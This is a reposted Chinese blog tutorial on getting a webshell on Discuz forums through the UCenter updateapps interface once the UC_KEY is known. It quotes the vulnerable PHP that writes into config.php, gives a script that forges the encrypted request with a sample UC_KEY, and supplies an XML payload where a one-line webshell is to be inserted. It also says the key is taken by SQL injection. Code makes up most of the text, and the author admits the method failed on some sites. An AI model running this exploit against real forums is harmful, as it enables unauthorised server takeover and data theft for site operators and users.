DZ论坛系统 UC_KEY拿webshell

简介:

关于DZ后台拿shell,很多同志都很苦恼是把,,不过最近外面看到一篇文章,应该 才出来的把,,这里给大家发出来把,。。

转载者:littleli

我们只要得到UC_KEY,提交数据就可以修改配置文件来得到Webshell,而UC_KEY是保存在UCENTER中,一般的管理员配置的时候都使用同一权限配置。
我们有一个注射,如此,这般……大笑三声,哈,哈,哈。

 


直接读取数据库uc_applications下的authkey即为UC_KEY。长度为64位。
再接着是post数据的提交。最后的格式为:替换成你的一句话Shell,如图11即可。

先生成需要的code

$get = $post = array();

        $code = @$_GET['code'];

        parse_str(authcode($code, 'DECODE', UC_KEY), $get);//需要UC_KEY进行解密

        if(MAGIC_QUOTES_GPC) {

                $get = sstripslashes($get);

        }

        if($_SGLOBAL['timestamp'] - $get['time'] > 3600) {//判断提交的时间

                exit('Authracation has expiried');

        }

        if(empty($get)) {

                exit('Invalid Request');

        }

        include_once S_ROOT.'./uc_client/lib/xml.class.php';

        //我们提交的数据和需要调用的函数,主要看updateapps

        $post = xml_unserialize(file_get_contents('php://input'));

        if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {

        $uc_note = new uc_note();

        echo $uc_note->$get['action']($get, $post);

        exit();

        } else {

                exit(API_RETURN_FAILED);

        }

        //……

        function updateapps($get, $post) {

                global $_SGLOBAL;

                if(!API_UPDATEAPPS) {

                        return API_RETURN_FORBIDDEN;

                }

                $UC_API = '';

                if($post['UC_API']) {

                        $UC_API = $post['UC_API'];

                        unset($post['UC_API']);

                }

                $cachefile = S_ROOT.'./uc_client/data/cache/apps.php';

                $fp = fopen($cachefile, 'w');

                $s = "<?php\r\n";

                $s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";

                fwrite($fp, $s);

                fclose($fp);

                //配置文件

                if($UC_API && is_writeable(S_ROOT.'./config.php')) {

                        $configfile = trim(file_get_contents(S_ROOT.'./config.php'));

                        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

                        $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);

                        if($fp = @fopen(S_ROOT.'./config.php', 'w')) {

                                @fwrite($fp, trim($configfile));

                                @fclose($fp);

                        }

                }

                return API_RETURN_SUCCEED;

        }
<?php

//这里为注射得到的UC_KEY

define('UC_KEY', '88V7m5VeF1Da9978a8ben5f1t317ldv78aPfWeP2D608h44e3ej1Xbt9m6mbl3L9');

//这里为时间和需要调用的函数,时间写大一些,避免不必要的错误。

$code='time=1391966342&action=updateapps';

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

        $ckey_length = 4;

        $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);

        $keya = md5(substr($key, 0, 16));

        $keyb = md5(substr($key, 16, 16));

        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

        $cryptkey = $keya.md5($keya.$keyc);

        $key_length = strlen($cryptkey);

        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

        $string_length = strlen($string);

        $result = '';

        $box = range(0, 255);

        $rndkey = array();

        for($i = 0; $i <= 255; $i++) {

                $rndkey[$i] = ord($cryptkey[$i % $key_length]);

        }

        for($j = $i = 0; $i < 256; $i++) {

                $j = ($j + $box[$i] + $rndkey[$i]) % 256;

                $tmp = $box[$i];

                $box[$i] = $box[$j];

                $box[$j] = $tmp;

        }

        for($a = $j = $i = 0; $i < $string_length; $i++) {

                $a = ($a + 1) % 256;

                $j = ($j + $box[$a]) % 256;

                $tmp = $box[$a];

                $box[$a] = $box[$j];

                $box[$j] = $tmp;

                $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

        }

        if($operation == 'DECODE') {

                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

                        return substr($result, 26);

                } else {

                        return '';

                }

        } else {

                return $keyc.str_replace('=', '', base64_encode($result));

        }

}

//这里为最后生成的$code

print_r(authcode($code, 'ENCODE', UC_KEY));

?>
<?php

include_once './uc_client/lib/xml.class.php';

$a=array("UC_API"=>"exploit code");

print_r(xml_serialize($a));

?>
<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">exploit code</item>

</root>

到这里哥总算有了个满意的效果,果断上网测试,但是从目标站里跑出的UC_KEY长度为124并不能成功。
测试了几个网站,发现个别网站数据库key长度为124时,config.php文件里的key为64位。
你丫不按常理出牌啊。

哥对天一叹,或许哥只能存在于传说之中。(不是转载者说的 – -。。。)

——————

作者:火枪手

















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/489717,如需转载请自行联系原作者

相关文章
|
8月前
|
Android开发 Python
Crack App | 低版本绕过某视频 App (dy) 商品抓包限制(读者投稿 - 将玄学进行到底)
Crack App | 低版本绕过某视频 App (dy) 商品抓包限制(读者投稿 - 将玄学进行到底)
168 0
|
8月前
|
Dart 安全 数据安全/隐私保护
Crack App | 某都市魔幻 FM 请求参数 sign 的加密分析
Crack App | 某都市魔幻 FM 请求参数 sign 的加密分析
|
安全 测试技术
漏洞赏金猎人系列-如何测试注册(Sign up)功能(V)以及相关Tips
本文为本系列的最后一篇,梳理了SignUp最后几种测试方法(tips); 前面相关的文章有: 注册功能测试小结 赏金猎人系列-如何测试注册(Sign up)功能 赏金猎人系列-如何测试注册(Sign up)功能以及相关Tips 漏洞赏金猎人系列-如何测试注册(Sign up)功能(IV)以及相关Tips
103 1
|
安全 NoSQL C语言
[PWN][基础篇]printf漏洞介绍
[PWN][基础篇]printf漏洞介绍
162 0
[PWN][基础篇]printf漏洞介绍
|
SQL PHP 数据库
PHPCMS V9调用dz x1.5 论坛数据教程
摸索了个把月的V9,目前的功能大致了解了。建站前计划要整合DZ X1.5的,在论坛搜索方法已经实现了同步,但是对于论坛帖子调用还没有得到更多帮助,可能是因为太简单了,没有人去写,我就献丑整理一下吧。如果有用麻烦给我个顶,俺小学生需要鼓励。
1446 0
|
数据安全/隐私保护
国外hash(MD5、NTLM、LM、SHA)密码在线破解网站
国外hash(MD5、NTLM、LM、SHA)密码在线破解网站 这是国外的hash密码在线破解网站列表,支持多种类型的hash密码,目前可查询破解的hash包括:MD5、NTLM、LM、SHA1、SHA 256-512、MySQL、WPA-PSK 。
13131 0
|
安全 PHP 索引
dz论坛Discuz_X3.4最新网站漏洞
近期我们sinesafe安全部门审计discuz最新版的时候发现配置文件写入导致代码执行的问题。cms安装的时候一般会分为几个步骤去进行,其中有对配置文件config进行写入的步骤,当写入的时候未严格限制传入的参数就存在代码执行问题。
3828 0
|
Web App开发 开发者
你不知道的圣诞礼物 - U4 2.0 内核正式登陆中文版 UC
估计各位用 UC 的小伙伴应该收到升级提醒了吧,没错,这是我们给大家发的圣诞礼物,还记得今年10月份杭州云栖大会上,UC 专场对外宣布 U4 内核 2.0 版本正式发布吧。当然,自从正式发布新内核后,UC 内核团队一直在紧锣密鼓地进行 UC 中文版 App 的内核升级和测试。
2626 0
|
安全 数据安全/隐私保护 API

热门文章

最新文章